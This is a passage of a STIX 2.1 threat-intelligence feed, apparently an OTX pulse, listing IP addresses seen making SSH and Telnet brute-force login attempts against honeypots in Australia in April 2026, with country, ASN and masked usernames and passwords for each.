      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--9c2acf61-8fd9-4ef1-850b-c52f0be3199b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.158.205.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T09:15:05.000Z",
      "valid_until": "2026-05-07T09:15:03.000Z"
    },
    {
      "created": "2026-04-05T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--90701e41-42a6-49c4-998f-77a774b383db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.126.4.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:15:10.000Z",
      "valid_until": "2026-05-07T10:15:08.000Z"
    },
    {
      "created": "2026-04-05T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134540. Organisation(s): Tata Teleservices Maharashtra Ltd.",
      "id": "indicator--cf806075-39e7-4c6f-8fcd-97357b6df480",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.252.234.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:15:10.000Z",
      "valid_until": "2026-05-07T10:15:08.000Z"
    },
    {
      "created": "2026-04-05T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, p******s, a***********r, d***d. Passwords observed (masked): 3***********4, 3**********4, ***, 1********f, 1****6.",
      "id": "indicator--9c418e19-6bdb-4ffe-a3a0-f7b97ae6c037",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.125.103.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:15:10.000Z",
      "valid_until": "2026-05-07T10:15:08.000Z"
    },
    {
      "created": "2026-04-05T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 33363. Organisation(s): Charter Communications, Inc.",
      "id": "indicator--fbbd49be-fdc7-4963-a3de-fa77d4003162",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.170.220.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:15:10.000Z",
      "valid_until": "2026-05-07T10:15:08.000Z"
    },
    {
      "created": "2026-04-05T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, p******s, 3**********4, **, o**o. Passwords observed (masked): 1********f, 3***********4, 3**********4, A******B, C******e.",
      "id": "indicator--215bf598-7416-4544-8695-72ca90c88eab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.183.7.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:15:10.000Z",
      "valid_until": "2026-05-07T10:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264369. Organisation(s): IOL REDE DE PROVEDORES LTDA.",
      "id": "indicator--010b8b5f-8c4d-4bdb-a158-e327539a0850",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.161.64.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u**r. Passwords observed (masked): u***1.",
      "id": "indicator--a481d4c2-db9f-4b2e-ab74-db9a5b7025c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.22.54.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--3b1c84fe-9cb6-4e2f-9647-e7a17997fa3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.191.2.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--507430d9-c26c-411b-a3f4-3ce85c2f8eea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56045. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--c68bd58b-5968-4698-bb96-2e817d00eeb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.83.114.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, a***n, u**r, **, s*****t. Passwords observed (masked): 1****6, 1**4, ***, 1***5, a***n.",
      "id": "indicator--f6ef8d4f-1038-49ca-be82-55f413fae1df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.80.153.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--0a9deec2-0294-4ae9-aa21-2a65e443784b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.115.176.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:15:10.000Z",
      "valid_until": "2026-05-07T11:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): q*******4.",
      "id": "indicator--e72db1c6-de6d-4af6-9733-969601c0c0bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.28.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 204997. Organisation(s): First Server Limited. Usernames observed (masked): r**t, w**t. Passwords observed (masked): r**********, w*****3.",
      "id": "indicator--1e226ca8-0523-419b-8270-f932c94a2038",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.17.3.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n, h****r, l*******r, o****e, r**t. Passwords observed (masked): a******3, a*******3, p******d, p******d, 1******X.",
      "id": "indicator--b671ec01-2a07-41fa-97d1-66239afe9c47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited. Usernames observed (masked): u****u. Passwords observed (masked): u*************..",
      "id": "indicator--8696243a-797d-4a9e-a5b6-ff1f9c54dcb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.221.12.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******s.",
      "id": "indicator--a723512b-fbcf-473c-ba75-991240fdfddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U*************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 11260. Organisation(s): EastLink.",
      "id": "indicator--ee8b5e74-4402-4d19-aa93-7e0e786cb69c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '76.11.71.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:15:11.000Z",
      "valid_until": "2026-05-07T12:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ed7d6c1f-fff6-4190-abe6-2a822d684784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.104.11.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--cc1201b0-647c-4966-a7e7-affc3faa6cd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.170.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--4e033580-6e73-43c1-bf0d-d38a1b1aadd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.135.226.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, p******s, u****u, 3**********4, d***d. Passwords observed (masked): 1****6, 1*****m, 1******d, 1*****e, 1******b.",
      "id": "indicator--f9576f58-785c-4753-80a1-e4dd5e8e71e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.129.38.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--9786ed25-a484-4813-aaa9-61c350541e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ee1bff88-8528-4074-ad04-293f900949ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 7393. Organisation(s): CYBERCON, INC..",
      "id": "indicator--b844ca70-ccee-4460-ad21-5725229bd1d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.154.119.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:15:10.000Z",
      "valid_until": "2026-05-07T13:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 209. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, u****u, u**r, 3**********4, g****v. Passwords observed (masked): 1****3, 1********5, ***, 1********!, 1******Z.",
      "id": "indicator--0f885a9c-7d4f-40b5-8513-115f05d3b928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.47.156.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, r**t, u****u, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******-, B*****5, Z******3.",
      "id": "indicator--adca24d1-121f-4ad2-8bdd-62441ee31bd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.193.191.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 15108. Organisation(s): Allo Communications LLC.",
      "id": "indicator--3088caef-cd4b-40cd-8bf2-e0171dbb1852",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.74.158.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): c*****t, r**t, s***e. Passwords observed (masked): c*****t, d******4, s***e.",
      "id": "indicator--52a07de8-8824-46fc-9754-495613484607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 207713. Organisation(s): Global Internet Solutions LLC. Usernames observed (masked): o****e, 3**********4, a******n, f*****r, f***r. Passwords observed (masked): 3***********4, 3**********4, A***********., F***********6, a**********3.",
      "id": "indicator--3c2c1f89-2420-4efa-b7d6-f3e7dfec9c12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.233.48.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
